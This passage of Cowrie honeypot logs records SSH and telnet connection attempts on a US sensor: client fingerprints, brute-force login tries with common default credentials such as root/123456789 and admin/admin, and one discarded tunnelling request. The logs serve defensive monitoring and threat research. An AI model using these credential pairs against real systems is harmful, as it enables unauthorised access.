"],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:50.727971Z","src_ip":"165.154.137.186","session":"d331854592fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:51.771925Z","src_ip":"165.154.137.186","session":"d331854592fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:53.025420Z","src_ip":"165.154.137.186","session":"d331854592fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":52276,"dst_ip":"159.203.135.109","dst_port":22,"session":"cae8366e3d8a","protocol":"ssh","message":"New connection: 94.159.110.201:52276 (159.203.135.109:22) [session: cae8366e3d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:54.650854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:54.657794Z","src_ip":"94.159.110.201","session":"cae8366e3d8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:54.769442Z","src_ip":"94.159.110.201","session":"cae8366e3d8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2468013579","message":"login attempt [root/2468013579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:55.104685Z","src_ip":"94.159.110.201","session":"cae8366e3d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52708,"dst_ip":"159.203.135.109","dst_port":23,"session":"5872d2ca48b5","protocol":"telnet","message":"New connection: 172.81.62.90:52708 (159.203.135.109:23) [session: 5872d2ca48b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:55.122886Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:56.219137Z","src_ip":"94.159.110.201","session":"cae8366e3d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57862,"dst_ip":"10.17.0.5","dst_port":22,"session":"270ba5299f1a","protocol":"ssh","message":"New connection: 165.154.137.186:57862 (10.17.0.5:22) [session: 270ba5299f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:56.339346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:56.348566Z","src_ip":"165.154.137.186","session":"270ba5299f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:56.614245Z","src_ip":"165.154.137.186","session":"270ba5299f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28088,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f56b287ef4","protocol":"ssh","message":"New connection: 87.251.64.176:28088 (10.17.0.5:22) [session: f4f56b287ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:57.078271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:57.082106Z","src_ip":"87.251.64.176","session":"f4f56b287ef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:57.183295Z","src_ip":"87.251.64.176","session":"f4f56b287ef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:57.420364Z","src_ip":"165.154.137.186","session":"270ba5299f1a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:57.498684Z","src_ip":"87.251.64.176","session":"f4f56b287ef4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:57.603651Z","session":"f4f56b287ef4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:57.708544Z","src_ip":"87.251.64.176","session":"f4f56b287ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:57.815416Z","src_ip":"87.251.64.176","session":"f4f56b287ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:58.688518Z","src_ip":"165.154.137.186","session":"270ba5299f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":33864,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4147632dfac","protocol":"ssh","message":"New connection: 103.27.238.114:33864 (10.17.0.5:22) [session: e4147632dfac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:24.221740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:24.229074Z","src_ip":"103.27.238.114","session":"e4147632dfac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:24.487195Z","src_ip":"103.27.238.114","session":"e4147632dfac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victoria1","message":"login attempt [root/victoria1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:25.256390Z","src_ip":"103.27.238.114","session":"e4147632dfac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:26.513872Z","src_ip":"103.27.238.114","session":"e4147632dfac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49048,"dst_ip":"10.17.0.5","dst_port":22,"session":"737f3e0a5bc6","protocol":"ssh","message":"New connection: 165.154.137.186:49048 (10.17.0.5:22) [session: 737f3e0a5bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:27.254755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:27.258792Z","src_ip":"165.154.137.186","session":"737f3e0a5bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:27.512920Z","src_ip":"165.154.137.186","session":"737f3e0a5bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:28.276534Z","src_ip":"165.154.137.186","session":"737f3e0a5bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:29.532581Z","src_ip":"165.154.137.186","session":"737f3e0a5bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.09517025947571,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:33.217905Z","src_ip":"172.81.62.90","session":"5872d2ca48b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":38392,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e8322b62575","protocol":"ssh","message":"New connection: 27.71.230.31:38392 (10.17.0.5:22) [session: 2e8322b62575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:34.164996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:34.203589Z","src_ip":"27.71.230.31","session":"2e8322b62575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46002,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecb603eda7c1","protocol":"ssh","message":"New connection: 165.154.137.186:46002 (10.17.0.5:22) [session: ecb603eda7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:34.486712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:34.490553Z","src_ip":"165.154.137.186","session":"ecb603eda7c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:34.737658Z","src_ip":"165.154.137.186","session":"ecb603eda7c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":51888,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f901df12ed3","protocol":"ssh","message":"New connection: 165.154.137.186:51888 (10.17.0.5:22) [session: 3f901df12ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:35.252101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:35.256259Z","src_ip":"165.154.137.186","session":"3f901df12ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:35.467956Z","src_ip":"165.154.137.186","session":"ecb603eda7c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:35.516500Z","src_ip":"165.154.137.186","session":"3f901df12ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:23:35.821150Z","src_ip":"27.71.230.31","session":"2e8322b62575","protocol":"ssh"}
